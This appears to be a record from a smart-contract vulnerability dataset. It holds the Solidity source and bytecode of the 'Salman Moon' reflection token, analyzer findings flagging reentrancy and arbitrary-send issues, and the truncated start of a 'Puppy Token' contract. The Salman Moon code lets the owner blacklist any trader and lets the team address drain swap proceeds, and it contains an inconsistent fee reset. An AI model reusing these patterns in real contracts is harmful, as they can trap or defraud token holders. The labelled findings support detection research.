.-=-----:-=+++++++++++====####%%#*####*+++++++++==------=:
-=-----:-=++++++++=========*%#%#%#%###@@@@#*++++++++==-----=:
:=-----:-=++++++=---=====++##*%%@%@*%%@#@@@@@@@%**++++++==------.
-=----::=++++++=:.:-=++++*%%#%%%@%@%%%%@%@@@@@@@@@%##*+++++==----=:
.=-----:=++++++++..:=++*###%%+%%*@##@@%@@@%@@@@@@@@@@####++++++=----=-
.=----::=++++++++-.-=#%%@@@%%%*@*%#*@%@@@@%@@@@@@@@@@@%###*+++++++=-----
.=----::=+++++++++:.-*%@@%*+*#%#@#%%#%%@@@@@@@@@@@@@@@@@####++++++++=---=:
=----::=++++++++++..=*%@*......=%%@@@@@%##*+=-=#@@@@@@@@####+++++++++=---=.
:=----:=++++++++++=.:==#@=.....:---=====--------=%@@@@@@@###*++++++++++=---=
=----:-+++++++++++=.-==*%*....------------------=%@@@@@@%##*++++++++++++---=:
:=----:+++++++++++++:-=+#@%:..:[email protected]@@@@@@###*++++++++++++=---=
=----:-+++++++++++++==+#%%=...-------------------*%@@@@@#*###*++++++++++++---=.
=----:=++++++++++++=-+*%%:....=--------------===---*%@@*+=###*++++++++++++----:
=----.=++++++++++++=--*%+..:-*###*+---=--=*#%#*++=+*#@%=++###+++++++++++++=----
.=----.=******+++++++===*=..:=+##**#*+--++***##*+=+***@*+=+###*++++++++++++=----
=----.=##****+++#*++--*:...+-=*#***++--=*+++*#++==***@=*==###*+*#+++#*+**+-----
=----:=**++##++#*#*+-=+-....:+++=--==--=*=-====---=**%++=###*+*#*#++#+##*+---=:
-----::+***+++++++*++---....-------=:---==---------+**-=+###++++++++*++++=---=.
.=----:=+++++++++++++=:.....-------:-=---+=-------=***+*#++++++++++++++++----=
-----::+++++++++++++++=-...:-----=++==+*+=--------+**##*+++++++++++++++=---=.
=----:-++++++++++++++++:...:-------=+=-----------=**##++++++++++++++++-----
:=----:=+++++++++++++++=....:-------+=-----------=#+###++++++++++++++----=
------:=+++++++++++++++=:...--=++=+++++++*------**==*###*++++++++++----=
-=----:-+++++++++++++++=...--=--=++++=-------=*#+=--=###++++++++=----=.
:=-----:=++++++++++++++:..:---======-------=##=+=--+#*++++++++=----=
.=-----:-+++++++++++++-..::-------------=*#*=++-=++++++++++=----=-
-=-----:-+++++++++++=..:-=----------+*#*=-===++++++++++==----=.
.-=-------=+++++++++:.:-=+++++++****+=-==+++++++++++=-----=:
.-=--------=++++++-..-----=====--===+++++++++++==-----=:
.-=---------==++=:.:----=====++++++++++++===-----==:
:-=-----------===++++++++++++++=====-------==-.
.-==---------------------------------=-:.
.:--=----------------------==--:.
..::-----=====-----::.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SalmanMoon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Salman Moon";
string private constant _symbol = "SALMAN";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb14610306578063c3c8cd8014610326578063d543dbeb1461033b578063dd62ed3e1461035b57600080fd5b80636fc3eaec1461026557806370a082311461027a578063715018a61461029a5780638da5cb5b146102af57600080fd5b806323b872dd116100dc57806323b872dd146101d4578063293230b8146101f4578063313ce567146102095780635932ead1146102255780636b9990531461024557600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461018057806318160ddd146101b057600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118a1565b6103a1565b005b34801561014657600080fd5b5060408051808201909152600b81526a29b0b636b0b71026b7b7b760a91b60208201525b60405161017791906119e5565b60405180910390f35b34801561018c57600080fd5b506101a061019b366004611876565b61044e565b6040519015158152602001610177565b3480156101bc57600080fd5b5066038d7ea4c680005b604051908152602001610177565b3480156101e057600080fd5b506101a06101ef366004611836565b610465565b34801561020057600080fd5b506101386104ce565b34801561021557600080fd5b5060405160098152602001610177565b34801561023157600080fd5b50610138610240366004611968565b61088d565b34801561025157600080fd5b506101386102603660046117c6565b6108d5565b34801561027157600080fd5b50610138610920565b34801561028657600080fd5b506101c66102953660046117c6565b61094d565b3480156102a657600080fd5b5061013861096f565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610177565b3480156102e357600080fd5b5060408051808201909152600681526529a0a626a0a760d11b602082015261016a565b34801561031257600080fd5b506101a0610321366004611876565b6109e3565b34801561033257600080fd5b506101386109f0565b34801561034757600080fd5b506101386103563660046119a0565b610a26565b34801561036757600080fd5b506101c66103763660046117fe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d45760405162461bcd60e51b81526004016103cb90611a38565b60405180910390fd5b60005b815181101561044a576001600a600084848151811061040657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044281611b4b565b9150506103d7565b5050565b600061045b338484610af7565b5060015b92915050565b6000610472848484610c1b565b6104c484336104bf85604051806060016040528060288152602001611bb6602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061102d565b610af7565b5060019392505050565b6000546001600160a01b031633146104f85760405162461bcd60e51b81526004016103cb90611a38565b600f54600160a01b900460ff16156105525760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103cb565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058d308266038d7ea4c68000610af7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c657600080fd5b505afa1580156105da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fe91906117e2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064657600080fd5b505afa15801561065a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067e91906117e2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c657600080fd5b505af11580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe91906117e2565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072e8161094d565b6000806107436000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a657600080fd5b505af11580156107ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107df91906119b8565b5050600f805465048c2739500060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085557600080fd5b505af1158015610869573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044a9190611984565b6000546001600160a01b031633146108b75760405162461bcd60e51b81526004016103cb90611a38565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108ff5760405162461bcd60e51b81526004016103cb90611a38565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094057600080fd5b4761094a81611067565b50565b6001600160a01b03811660009081526002602052604081205461045f906110ec565b6000546001600160a01b031633146109995760405162461bcd60e51b81526004016103cb90611a38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045b338484610c1b565b600c546001600160a01b0316336001600160a01b031614610a1057600080fd5b6000610a1b3061094d565b905061094a81611170565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016103cb90611a38565b60008111610aa05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103cb565b610abc6064610ab666038d7ea4c6800084611315565b90611394565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cb565b6001600160a01b038216610bba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103cb565b6001600160a01b038216610ce15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103cb565b60008111610d435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cb565b6000546001600160a01b03848116911614801590610d6f57506000546001600160a01b03838116911614155b15610fd057600f54600160b81b900460ff1615610e56576001600160a01b0383163014801590610da857506001600160a01b0382163014155b8015610dc25750600e546001600160a01b03848116911614155b8015610ddc5750600e546001600160a01b03838116911614155b15610e5657600e546001600160a01b0316336001600160a01b03161480610e165750600f546001600160a01b0316336001600160a01b0316145b610e565760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103cb565b601054811115610e6557600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ea757506001600160a01b0382166000908152600a602052604090205460ff16155b610eb057600080fd5b600f546001600160a01b038481169116148015610edb5750600e546001600160a01b03838116911614155b8015610f0057506001600160a01b03821660009081526005602052604090205460ff16155b8015610f155750600f54600160b81b900460ff165b15610f63576001600160a01b0382166000908152600b60205260409020544211610f3e57600080fd5b610f4942600a611add565b6001600160a01b0383166000908152600b60205260409020555b6000610f6e3061094d565b600f54909150600160a81b900460ff16158015610f995750600f546001600160a01b03858116911614155b8015610fae5750600f54600160b01b900460ff165b15610fce57610fbc81611170565b478015610fcc57610fcc47611067565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101257506001600160a01b03831660009081526005602052604090205460ff165b1561101b575060005b611027848484846113d6565b50505050565b600081848411156110515760405162461bcd60e51b81526004016103cb91906119e5565b50600061105e8486611b34565b95945050505050565b600c546001600160a01b03166108fc611081836002611394565b6040518115909202916000818181858888f193505050501580156110a9573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c4836002611394565b6040518115909202916000818181858888f1935050505015801561044a573d6000803e3d6000fd5b60006006548211156111535760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103cb565b600061115d611402565b90506111698382611394565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121a57600080fd5b505afa15801561122e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125291906117e2565b8160018151811061127357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112999130911684610af7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d2908590600090869030904290600401611a6d565b600060405180830381600087803b1580156112ec57600080fd5b505af1158015611300573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113245750600061045f565b60006113308385611b15565b90508261133d8583611af5565b146111695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cb565b600061116983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611425565b806113e3576113e3611453565b6113ee848484611476565b80611027576110276005600855600a600955565b600080600061140f61156d565b909250905061141e8282611394565b9250505090565b600081836114465760405162461bcd60e51b81526004016103cb91906119e5565b50600061105e8486611af5565b6008541580156114635750600954155b1561146a57565b60006008819055600955565b600080600080600080611488876115ab565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114ba9087611608565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114e9908661164a565b6001600160a01b03891660009081526002602052604090205561150b816116a9565b61151584836116f3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155a91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c680006115878282611394565b8210156115a25750506006549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006115c88a600854600954611717565b92509250925060006115d8611402565b905060008060006115eb8e878787611766565b919e509c509a509598509396509194505050505091939550919395565b600061116983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102d565b6000806116578385611add565b9050838110156111695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cb565b60006116b3611402565b905060006116c18383611315565b306000908152600260205260409020549091506116de908261164a565b30600090815260026020526040902055505050565b6006546117009083611608565b600655600754611710908261164a565b6007555050565b600080808061172b6064610ab68989611315565b9050600061173e6064610ab68a89611315565b90506000611756826117508b86611608565b90611608565b9992985090965090945050505050565b60008080806117758886611315565b905060006117838887611315565b905060006117918888611315565b905060006117a3826117508686611608565b939b939a50919850919650505050505050565b80356117c181611b92565b919050565b6000602082840312156117d7578081fd5b813561116981611b92565b6000602082840312156117f3578081fd5b815161116981611b92565b60008060408385031215611810578081fd5b823561181b81611b92565b9150602083013561182b81611b92565b809150509250929050565b60008060006060848603121561184a578081fd5b833561185581611b92565b9250602084013561186581611b92565b929592945050506040919091013590565b60008060408385031215611888578182fd5b823561189381611b92565b946020939093013593505050565b600060208083850312156118b3578182fd5b823567ffffffffffffffff808211156118ca578384fd5b818501915085601f8301126118dd578384fd5b8135818111156118ef576118ef611b7c565b8060051b604051601f19603f8301168101818110858211171561191457611914611b7c565b604052828152858101935084860182860187018a1015611932578788fd5b8795505b8386101561195b57611947816117b6565b855260019590950194938601938601611936565b5098975050505050505050565b600060208284031215611979578081fd5b813561116981611ba7565b600060208284031215611995578081fd5b815161116981611ba7565b6000602082840312156119b1578081fd5b5035919050565b6000806000606084860312156119cc578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a11578581018301518582016040015282016119f5565b81811115611a225783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611abc5784516001600160a01b031683529383019391830191600101611a97565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611af057611af0611b66565b500190565b600082611b1057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b2f57611b2f611b66565b500290565b600082821015611b4657611b46611b66565b500390565b6000600019821415611b5f57611b5f611b66565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094a57600080fd5b801515811461094a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec74086c1539d2d7b1107f1b282ce415e22b32017bae38d9c51878c5d65346ce64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,270 |
0x7572de5fb3cc81e6490522bf2c0fce14c93c8db4
|
/**
*Submitted for verification at Etherscan.io on 2021-11-03
*/
/*
🐶 Puppy Token 🐶
The $Puppy is a community-driven meme token of metaverse.
There is a huge plan on this token including the 10000 NFT launch with great art.
This NFT will be a metaverse user's Pet and they will love to use those NFT to their avatar.
✅ Telegram (https://t.me/puppiestoken)
✅ Twitter (https://twitter.com/puppy_token)
✅ Website (https://mypuppytoken.com/)
👉 Tokenomics
✅ Total supply: 1T
✅ No Team Token
✅ 100% Fair Launch
✅ Slippage: 12~14
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
